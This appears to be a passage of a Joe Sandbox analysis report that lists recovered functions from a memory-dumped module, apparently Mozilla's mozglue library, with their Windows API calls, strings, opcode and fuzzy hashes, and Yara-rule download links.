Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction ID: 3c1e81ae5f1a0a3740809ec5bd206f5f65b8e3d0efbd2d16bdcc4679b53fc4b5
Opcode Fuzzy Hash: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction Fuzzy Hash: 31E092BA605301DBDF00AB76C90A7117BF8A70621AF044A1AAA0893F10EBB0C012CA50

Function 6CAF75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAF748B,?), ref: 6CAF75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAF75D7
FreeLibrary.KERNEL32(?,6CAF748B,?), ref: 6CAF75EC

Strings

ntdll.dll, xrefs: 6CAF75B3
RtlNtStatusToDosError, xrefs: 6CAF75D1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction ID: e391cd3d4b23f6bf1145207ffea807d6f07ec25210d7800d3110169868ad18c6
Opcode Fuzzy Hash: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction Fuzzy Hash: DFE0B6B6744341ABEF01AFA2D84A7017BF8EB16328F104429F905D3F10EBB48252CF10

Function 6CAF7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAF7592), ref: 6CAF7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAF7627
FreeLibrary.KERNEL32(?,6CAF7592), ref: 6CAF763C

Strings

ntdll.dll, xrefs: 6CAF7603
NtUnmapViewOfSection, xrefs: 6CAF7621

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 196d48d9bc144d902372a119b5abfddb0a05673a7f752a1159d985aa55d67376
Instruction ID: 946dd523c9d98ebe114ae2a816ebf7ddfed5f16534f609ef055bfdedd9d6ac23
Opcode Fuzzy Hash: 196d48d9bc144d902372a119b5abfddb0a05673a7f752a1159d985aa55d67376
Instruction Fuzzy Hash: 83E0B6B6704741ABDF016FE6D80A7067BB8E72A369F00451AE909D3F10E7B08011CF14

Function 6CAD08F0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD0918
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD09A6
EnterCriticalSection.KERNEL32(6CB1E7DC,?,00000000), ref: 6CAD09F3
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD0ACB

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAD0966

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 3168844106-3917454776
Opcode ID: c7802b499e15b190735e8015f20f2bd04695e6d88b02491dd9df2ad1cb65eef5
Instruction ID: 4ac13ef394860380f47a3d37034cdb551ddf90c4cd7c5de08d503b0c2d4df52d
Opcode Fuzzy Hash: c7802b499e15b190735e8015f20f2bd04695e6d88b02491dd9df2ad1cb65eef5
Instruction Fuzzy Hash: DE512836702694CFEB089BA9C40566A73B1FB82B2472A413AD97597F90DB30FC81C6C1

Function 6CAFBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CAFBE49), ref: 6CAFBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CAFBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CAFBE49), ref: 6CAFBF38
RtlReAllocateHeap.NTDLL ref: 6CAFBF83
RtlFreeHeap.NTDLL ref: 6CAFBFA6

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aaeebdc648d36b99dac2f9dd0621dd9465b91fa94266ea495ef07ed7e0a59021
Instruction ID: e46bbd678bbe20188dd56ba98e43103fd69aa55db5b47e8fa73e3b1d2ed7761c
Opcode Fuzzy Hash: aaeebdc648d36b99dac2f9dd0621dd9465b91fa94266ea495ef07ed7e0a59021
Instruction Fuzzy Hash: 3051AF71B002018FE710CF69DD80BAAB7B2FF88314F298629E525A7B54D730F9478B80

Function 6CAE8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8EBF
free.MOZGLUE(?,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8F46
free.MOZGLUE(?,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F8F

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4cd146cd5d1a844104a884dccc4c96718e38e5aa34f0a0e73fc0192ec1ef9f32
Instruction ID: bc3c20b6a00c59b046d9b5361d18b2a2f0d489518371cd31fbeaaac8d9137950
Opcode Fuzzy Hash: 4cd146cd5d1a844104a884dccc4c96718e38e5aa34f0a0e73fc0192ec1ef9f32
Instruction Fuzzy Hash: 2F5190B1A012168FEB15CF6CD88076E73B6BF48318F29056AD916AB740E731F984CBD1

Function 6CAA60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA6180
free.MOZGLUE(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA6229
free.MOZGLUE(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA6271

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cfd92ab984d9c50960c6caf588d224d35fac05f585b2db655a21ccd4d9a28bf5
Instruction ID: b6b7e0e5495527325d7c171632aa8ed55aff3e6c38e52d02ddcfb97ba705ee4d
Opcode Fuzzy Hash: cfd92ab984d9c50960c6caf588d224d35fac05f585b2db655a21ccd4d9a28bf5
Instruction Fuzzy Hash: B6514CB1A002068FEB14CFACD8817AEBBB5EF45308F140539D616D7B51E731A59ACF51

Function 6CAA1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15E7
free.MOZGLUE(?,?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1637

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction ID: c05d03eb4e4ddda8dbf7163cf93e51c3298795e77c9e861f1c36892f7079ed14
Opcode Fuzzy Hash: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction Fuzzy Hash: 7E313A71A00115DBC7188EBCC9404BE73E9BF813647280B2DE523DBBE4EB30D9468791

Function 6CAFAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAD9D

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE01
GetLastError.KERNEL32(?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE3D

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e46db6797d16a4c24697aed2140b85f9c6be52eb9f56e687b4ceacf41c093680
Instruction ID: 168434f00f87915f759228b8b153acc81090e1e39fac191a1d4da3445e3e4216
Opcode Fuzzy Hash: e46db6797d16a4c24697aed2140b85f9c6be52eb9f56e687b4ceacf41c093680
Instruction Fuzzy Hash: F03180B1A003159FDB10DF79CC44AABBBF9EF49654F148829E85AD7700E734E844CBA1

Function 6CAF5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB0DCA0,?,?,?,6CACE8B5,00000000), ref: 6CAF5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CACE8B5,00000000), ref: 6CAF5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CACE8B5,00000000), ref: 6CAF5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CACE8B5,00000000), ref: 6CAF5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CACE8B5,00000000), ref: 6CAF5FD6

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 036989417e893fde2a5c312f51151318f702f75eb68e75066c11de13463a31f4
Instruction ID: ddb6a4d47eedc3359259578618d255202f4b8de55a72ef1543f14c939f1a7dcb
Opcode Fuzzy Hash: 036989417e893fde2a5c312f51151318f702f75eb68e75066c11de13463a31f4
Instruction Fuzzy Hash: 4131F2343106108FE714CF29C898E26BBF5FF89319B688598F56687B95C735EC42CB90

Function 6CA9B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA9B532
moz_xmalloc.MOZGLUE(?), ref: 6CA9B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA9B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA9B57E
free.MOZGLUE(00000000), ref: 6CA9B58F

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction ID: ce8739393ad277c34556e5a0dbca4867005017891821912aa770d848564f2961
Opcode Fuzzy Hash: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction Fuzzy Hash: 7C21F671A002059BDB108F68DC41BAABBFAFF45314F284129E819DB341E736D955C7A1

Function 6CA9B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA9B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA9B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA9B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9B849

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 99bc49d1e5cb21e76ad1f25d5c4dda00ae39670497cf9a16a72240d41a7fc053
Instruction ID: d5b2ba3de6dd47f4b44a7b96fc8a271353be8fc11077e46af9d70d7d1caee77f
Opcode Fuzzy Hash: 99bc49d1e5cb21e76ad1f25d5c4dda00ae39670497cf9a16a72240d41a7fc053
Instruction Fuzzy Hash: 32212DB0E002099FDF14DFA9D8855BEBBF8EF49214F148129E815A7741E731A984CBA1

Function 6CAF6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAF6E78

Part of subcall function 6CAF6A10: InitializeCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6A68
Part of subcall function 6CAF6A10: GetCurrentProcess.KERNEL32 ref: 6CAF6A7D
Part of subcall function 6CAF6A10: GetCurrentProcess.KERNEL32 ref: 6CAF6AA1
Part of subcall function 6CAF6A10: EnterCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6AAE
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAF6AE1
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAF6B15
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAF6B65
Part of subcall function 6CAF6A10: LeaveCriticalSection.KERNEL32(6CB1F618,?,?), ref: 6CAF6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAF6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAF6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAF6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAF6EFF

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4932e0fb68885a3a98200d16a6b77f88c315831a6f0d8d04e598bda671056a8f
Instruction ID: bc53d793a77a3365684df272d7c3f1274186df0c425b4ef1a8442692018ee9d9
Opcode Fuzzy Hash: 4932e0fb68885a3a98200d16a6b77f88c315831a6f0d8d04e598bda671056a8f
Instruction Fuzzy Hash: 2421A1B1A0421A9FDF00CF69D88569E77F9EF88308F044039F85997341EB749A998F92

Function 6CAF76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAF76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAF7705

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAF7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAF778F,00000000,00000000,00000000,00000000), ref: 6CAF7731
free.MOZGLUE(00000000), ref: 6CAF7760

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ee53e6812227bcefd1308628f58902af0dd931c6d159f98e0c6fe86a8d73b5b5
Instruction ID: 4f1eb6ad0c80ef4703591a63086176d1d660942b01047970e6a10e7eacf4752b
Opcode Fuzzy Hash: ee53e6812227bcefd1308628f58902af0dd931c6d159f98e0c6fe86a8d73b5b5
Instruction Fuzzy Hash: FE11C4B1900225ABEB10AFB68C44BABBFF8EF45354F044429F848E7700E771988487E2

Function 6CAD0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA93DEF), ref: 6CAD0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA93DEF), ref: 6CAD0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA93DEF), ref: 6CAD0DAF

Strings

<jemalloc>, xrefs: 6CAD0D92, 6CAD0DB9
: (malloc) Error in VirtualFree(), xrefs: 6CAD0D97, 6CAD0DBE

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 69442d9ba15b47001ef0dfe202dc652330a02e0ebe2249ffd721c8d3cdfef78e
Instruction ID: 18d9f803e875955efa04b3797b83aa8db3c29a5508bb33517b82338ebd245684
Opcode Fuzzy Hash: 69442d9ba15b47001ef0dfe202dc652330a02e0ebe2249ffd721c8d3cdfef78e
Instruction Fuzzy Hash: 6FF0E9713942D427E62415661C0ABAB2A6D67C2B65F398037F644DFDC0DA50F8808AA4

Function 6CAE7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAE75C4,?), ref: 6CAE762B

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7644
GetCurrentThreadId.KERNEL32 ref: 6CAE765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7677

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
